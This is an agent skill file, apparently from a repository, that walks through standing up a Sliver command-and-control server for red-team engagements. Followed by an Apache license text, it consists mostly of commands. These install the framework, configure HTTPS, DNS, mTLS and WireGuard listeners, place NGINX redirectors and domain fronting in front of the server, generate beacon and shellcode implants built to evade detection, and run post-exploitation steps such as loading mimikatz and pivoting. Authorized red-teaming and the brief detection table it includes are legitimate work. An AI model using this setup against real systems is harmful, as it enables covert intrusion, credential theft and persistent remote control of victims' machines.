--- name: building-c2-infrastructure-with-sliver-framework-365810ecfee6 description: Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection. domain: cybersecurity subdomain: red-teaming tags: - red-team - c2-framework - sliver - command-and-control - adversary-simulation - infrastructure - post-exploitation version: '1.0' author: mahipal license: Apache-2.0 d3fend_techniques: - File Metadata Consistency Validation - Certificate Analysis - Application Protocol Command Analysis - Content Format Conversion - File Content Analysis nist_csf: - ID.RA-01 - GV.OV-02 - DE.AE-07 mitre_attack: - T1071.001 - T1071.004 - T1573.002 - T1090.002 - T1105 - T1572 --- # Building C2 Infrastructure with Sliver Framework ## Overview Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection. ## When to Use - When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment - When establishing security controls aligned to compliance requirements - When building or improving security architecture for this domain - When conducting security assessments that require this implementation ## Prerequisites - Familiarity with red teaming concepts and tools - Access to a test or lab environment for safe execution - Python 3.8+ with required dependencies installed - Appropriate authorization for any testing activities ## Objectives - Deploy a Sliver team server on hardened cloud infrastructure - Configure HTTPS, mTLS, DNS, and WireGuard listeners - Generate implants (beacons and sessions) for target platforms - Set up NGINX or Apache redirectors between implants and the team server - Implement Cloudflare or CDN-based domain fronting for traffic obfuscation - Configure multi-operator access with certificate-based authentication - Establish operational security controls for C2 communications ## MITRE ATT&CK Mapping - **T1071.001** - Application Layer Protocol: Web Protocols - **T1071.004** - Application Layer Protocol: DNS - **T1573.002** - Encrypted Channel: Asymmetric Cryptography - **T1090.002** - Proxy: External Proxy (Redirectors) - **T1105** - Ingress Tool Transfer - **T1132.001** - Data Encoding: Standard Encoding - **T1572** - Protocol Tunneling ## Workflow ### Phase 1: Team Server Deployment 1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server 2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban 3. Install Sliver using the official install script: ```bash curl https://sliver.sh/install | sudo bash ``` 4. Start the Sliver server daemon: ```bash systemctl start sliver # Or run interactively sliver-server ``` 5. Generate operator configuration files for team members: ```bash new-operator --name operator1 --lhost ``` ### Phase 2: Listener Configuration 1. Configure an HTTPS listener with a legitimate SSL certificate: ```bash https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem ``` 2. Configure a DNS listener for fallback C2: ```bash dns --domains c2dns.example.com --lport 53 ``` 3. Configure mTLS listener for high-security sessions: ```bash mtls --lhost 0.0.0.0 --lport 8888 ``` 4. Configure WireGuard listener for tunneled access: ```bash wg --lport 51820 ``` ### Phase 3: Redirector Setup 1. Deploy a separate VPS as a redirector (positioned between targets and team server) 2. Install and configure NGINX as a reverse proxy: ```nginx server { listen 443 ssl; server_name c2.example.com; ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem; location / { proxy_pass https://:443; proxy_ssl_verify off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } ``` 3. Configure iptables rules on the team server to only accept connections from the redirector: ```bash iptables -A INPUT -p tcp --dport 443 -s -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j DROP ``` 4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting ### Phase 4: Implant Generation 1. Generate an HTTPS beacon implant: ```bash generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload ``` 2. Generate a DNS beacon for restricted networks: ```bash generate beacon --dns c2dns.example.com --os windows --arch amd64 ``` 3. Generate a shellcode payload for injection: ```bash generate --http https://c2.example.com --os windows --arch amd64 --format shellcode ``` 4. Configure beacon jitter and callback intervals: ```bash generate beacon --http https://c2.example.com --seconds 60 --jitter 30 ``` ### Phase 5: Post-Exploitation Operations 1. Interact with active beacons/sessions: ```bash beacons # List active beacons use # Interact with a beacon ``` 2. Execute post-exploitation modules: ```bash ps # Process listing netstat # Network connections execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies sideload /path/to/mimikatz.dll # Load DLLs ``` 3. Set up pivots for internal network access: ```bash pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host ``` 4. Use BOF (Beacon Object Files) for in-memory execution: ```bash armory install sa-ldapsearch # Install from armory sa-ldapsearch -- "(objectClass=user)" # Execute BOF ``` ## Tools and Resources | Tool | Purpose | Platform | |------|---------|----------| | Sliver Server | C2 team server and implant management | Linux/macOS/Windows | | Sliver Client | Operator console for team members | Cross-platform | | NGINX | Redirector and reverse proxy | Linux | | Certbot | Let's Encrypt SSL certificate generation | Linux | | Cloudflare | CDN and domain fronting | Cloud | | Armory | Sliver extension/BOF package manager | Built-in | ## Detection Signatures | Indicator | Detection Method | |-----------|-----------------| | Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings | | mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports | | DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic | | WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns | | Sliver implant file hashes | EDR/AV signature matching against known Sliver samples | ## Validation Criteria - [ ] Team server deployed and hardened with firewall rules - [ ] HTTPS listener configured with valid SSL certificate - [ ] DNS listener configured as fallback C2 channel - [ ] At least one redirector deployed between targets and team server - [ ] Multi-operator access configured with unique certificates - [ ] Implants generated for target operating systems - [ ] Beacon callback intervals and jitter configured for stealth - [ ] Post-exploitation modules tested (process listing, .NET assembly execution) - [ ] Pivot functionality validated for internal network access - [ ] All C2 traffic encrypted and passing through redirectors --- Source attribution: hironow Original project: https://github.com/hironow/cyber/blob/20efb3a6a2a9e7ebbde38ed32325979866110540/.agents/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to the Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by the Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding any notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. Please do not remove or change the license header comment from a contributed file except when necessary. Copyright 2026 mukul975 Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: hironow Original project: https://github.com/hironow/cyber/blob/20efb3a6a2a9e7ebbde38ed32325979866110540/.agents/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: ML / AI Engineer, Security Engineer Specialties: Backend Tools: Sliver Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 7576d62e6e6462f4695fc629622933c670f7e0d832289a0ca942a1971398392f